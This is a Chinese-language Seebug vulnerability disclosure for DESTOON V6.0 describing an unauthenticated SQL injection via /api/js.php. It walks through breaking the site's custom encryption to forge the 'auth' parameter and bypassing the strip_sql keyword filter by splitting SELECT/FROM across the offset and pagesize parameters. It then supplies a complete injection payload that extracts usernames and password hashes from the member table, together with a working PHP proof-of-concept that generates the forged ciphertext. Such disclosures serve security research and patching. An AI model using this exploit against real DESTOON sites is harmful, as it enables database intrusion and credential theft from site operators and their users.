DESTOON V6.0 (2015-09-16) 前台无需登入sql 注入一枚

2015-09-18T00:00:00
ID SSV:94502
Type seebug
Reporter Root
Modified 2015-09-18T00:00:00

Description

简要描述:

看了一晚上。还好挖到了、 涉及算法(非暴力),以及一些sql姿势。 通宵提交的漏洞,可能算法剖析那写的有点不清楚,那就重复看几遍 = = 写了这么多,其实我就是想求个精华~

详细说明:


1 算法剖析篇


相比以前 索马里的海贼 大牛破解的, 最新版的算法以及做了很大的改进。

function encrypt($txt, $key = '') { $key or $key = DT_KEY; $rnd = random(32); $txt = $txt.substr($key, 0, 3); $len = strlen($txt); $ctr = 0; $str = ''; for($i = 0; $i < $len; $i++) { $ctr = $ctr == 32 ? 0 : $ctr; $str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]); } return str_replace(array('=', '+', '/', '0x', '0X'), array('', '-P-', '-S-', '-Z-', '-X-'), base64_encode(kecrypt($str, $key))); } function decrypt($txt, $key = '') { $key or $key = DT_KEY; $txt = kecrypt(base64_decode(str_replace(array('-P-', '-S-', '-Z-', '-X-'), array('+', '/', '0x', '0X'), $txt)), $key); $len = strlen($txt); $str = ''; for($i = 0; $i < $len; $i++) { $tmp = $txt[$i]; $str .= $txt[++$i] ^ $tmp; } return substr($str, -3) == substr($key, 0, 3) ? substr($str, 0, -3) : ''; } function kecrypt($txt, $key) { $key = md5($key); $len = strlen($txt); $ctr = 0; $str = ''; for($i = 0; $i < $len; $i++) { $ctr = $ctr == 32 ? 0 : $ctr; $str .= $txt[$i] ^ $key[$ctr++]; } return $str; }

可以看到 iv向量由原来的 $rnd = md5(microtime()) 变成了 $rnd = random(32); 如果仅仅是这样的话 ,倒是可以很快逆出来的, 但是,可以看到它增加了

return substr($str, -3) == substr($key, 0, 3) ? substr($str, 0, -3) : '';

用于判断数据的完整性。我们逆向推导下密文的还原过程。 1. 首先 base64_decode(str_replace(array('-P-', '-S-', '-Z-', '-X-'), array('+', '/', '0x', '0X'), $txt) 进行特殊符号替换和base64解码。 2. 带入 kecrypt.
(由于数学公式不好打 所以上传图片了- -)

<img src="https://images.seebug.org/upload/201509/180936095a7f350a5b922a8c402fb43862debf5a.png" alt="d1.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201509/18093913e395ed4c3c1e4b6302ca0213435d235a.png" alt="d2.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201509/180939218987fcdf041bf55f2b4d1f19373b9385.png" alt="d3.png" width="600" onerror="javascript:errimg(this);">

结论: 对于密文的前N-6位,第i ,i+1 位 与其所对应的的 明文的 i 位 做异或运算(i为偶数) 结果是一个固定不变的值(Ki^Ki+1) 对于密文的后6位,当两个密文的长度 与32的余数 相等时,其值不变。 也就是说 ,要获取长度为x的明文所对应的密文,只要知道另一个为y的明文所对应的密文即可。其中

(2x+6)%32=(2y+6)%32.


2 waf绕过


在/api/js.php中,

&lt;?php $_SERVER['REQUEST_URI'] = ''; require '../common.inc.php'; header("Content-type:text/javascript"); check_referer() or exit('document.write("&lt;h2&gt;Invalid Referer&lt;/h2&gt;");'); $tag = isset($auth) ? strip_sql(decrypt($auth)) : ''; $tag or exit('document.write("&lt;h2&gt;Bad Parameter&lt;/h2&gt;");'); foreach(array($DT_PRE, '#', '$', '%', '&amp;', 'table', 'fields', 'password', 'payword', 'debug') as $v) { strpos($tag, $v) === false or exit('document.write("&lt;h2&gt;Bad Parameter&lt;/h2&gt;");'); } ob_start(); tag($tag); $data = ob_get_contents(); ob_clean(); echo 'document.write(\''.dwrite($data ? $data : 'No Data or Bad Parameter').'\');'; ?&gt;

调用了,跟到 tag

function tag($parameter, $expires = 0) { .....//省去无意义代码 parse_str($parameter, $par); if(!is_array($par)) return ''; $par = dstripslashes($par); extract($par, EXTR_SKIP); ...... $order = $order ? ' ORDER BY '.$order : ''; ....... $query = "SELECT ".$fields." FROM ".$table." WHERE ".$condition.$order." LIMIT ".$offset.",".$pagesize;

可以看到 fields table condition order offset pagesize 都无单引号包裹 然而由于

foreach(array($DT_PRE, '#', '$', '%', '&amp;', 'table', 'fields', 'password', 'payword', 'debug') as $v) { strpos($tag, $v) === false or exit('document.write("&lt;h2&gt;Bad Parameter&lt;/h2&gt;");');

我们只能控制 condition order offset pagesize了 接下来就是绕过 strip_sql了。

function strip_sql($string, $type = 1) { $match = array("/union/i","/where/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\(\+@])/i","/update([\s\*\/\-\(\+@])/i","/replace([\s\*\/\-\(\+@])/i","/delete([\s\*\/\-\(\+@])/i","/drop([\s\*\/\-\(\+@])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i"); $replace = array('unio&#110;','wher&#101;','outfil&#101;','dumpfil&#101;','0&#120;\\1','selec&#116;\\1from','selec&#116;\\1','updat&#101;\\1','replac&#101;\\1','delet&#101;\\1','dro&#112;\\1','load_fil&#101;(','substrin&#103;(','subst&#114;(','lef&#116;(','conca&#116;(','concat_w&#115;(','make_se&#116;(','asci&#105;(','he&#120;(','or&#100;(','cha&#114;('); if($type) { return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string); } else { return str_replace(array('&#100;', '&#101;', '&#103;', '&#105;', '&#110;','&#112;', '&#114;', '&#115;', '&#116;', '&#120;'), array('d', 'e', 'g', 'i', 'n', 'p', 'r', 's', 't', 'x'), $string); } }

这过滤简直可怕。 select任意字符from 以及select xxx都不行, 但是注意,limit后面的$offset.",".$pagesize; 是拼接起来的。 我们这样提交pagesize=from&offset=select xxx&moduleid=2&condition=userid=1 就可以绕过 select * from 的检测, 然后 select{x(name)} 绕过 select xxx。 为了方便 ,开启debug进行报错注入演示。 测试的payload为

pagesize="!"))}from DESTOON_MEMBER order by userid limit 1)),1)&offset=1,1 procedure analyse(extractvalue(rand(),(select{x(insert(insert(PASSWORD,1,0,username),1,0&moduleid=2&condition=userid=1

一共 193字节。根据前面的公式 (2x+6)%32=(2y+6)%32 我们只要找一个已知明文为17字节的密文即可构造了。 在 公司联系方式这个地方可以很快的找到。

<img src="https://images.seebug.org/upload/201509/18100526cd3a1a38d637bc491b587d530fe08967.png" alt="4.png" width="600" onerror="javascript:errimg(this);">

漏洞证明:

填入poc。

&lt;?php function cracked($Expressly,$Ciphertext,$str){ $Ciphertext=str_replace(array('-P-', '-S-', '-Z-', '-X-'),array('+', '/', '0x', '0X'),$Ciphertext); $Ciphertext = base64_decode($Ciphertext); $c=strlen($Ciphertext); $text2="a"; $j=0; $s=0; for($i=0;$i&lt;strlen($str);$i++,$s++){ if($j==32){$j=0;$s=0;} $tmp=$Ciphertext[$j]^$Ciphertext[$j+1]; $tmp=$tmp^$Expressly[$s]; $tmp=$tmp^$str[$i]; $text1=$tmp^$text2; $xxoo =$xxoo.$text2.$text1; $j=$j+2; } for($i=5;$i&gt;=1;$i=$i-2){ $tmp=$Ciphertext[$c-$i]^$Ciphertext[$c-$i-1]^'a'; $xxoo = $xxoo.'a'.$tmp; } echo str_replace(array('+', '/', '0x', '0X'),array('-P-', '-S-', '-Z-', '-X-'),base64_encode($xxoo)); } cracked("1111111111@qq.com","f018SggzVGUtHlo6J0ZaOg5rekJ6bnUGdQBgF1FhKURALgJiClMrTg",'pagesize="!"))}from DESTOON_MEMBER order by userid limit 1)),1)&offset=1,1 procedure analyse(extractvalue(rand(),(select{x(insert(insert(PASSWORD,1,0,username),1,0&moduleid=2&condition=userid=1'); ?&gt;

将得到的值填入auth 提交/api/js.php?auth=xxx 修改下 Referer 即可注入。

<img src="https://images.seebug.org/upload/201509/18100921fb9fb4fa85acac89e9c117671e7c7cff.png" alt="11.png" width="600" onerror="javascript:errimg(this);">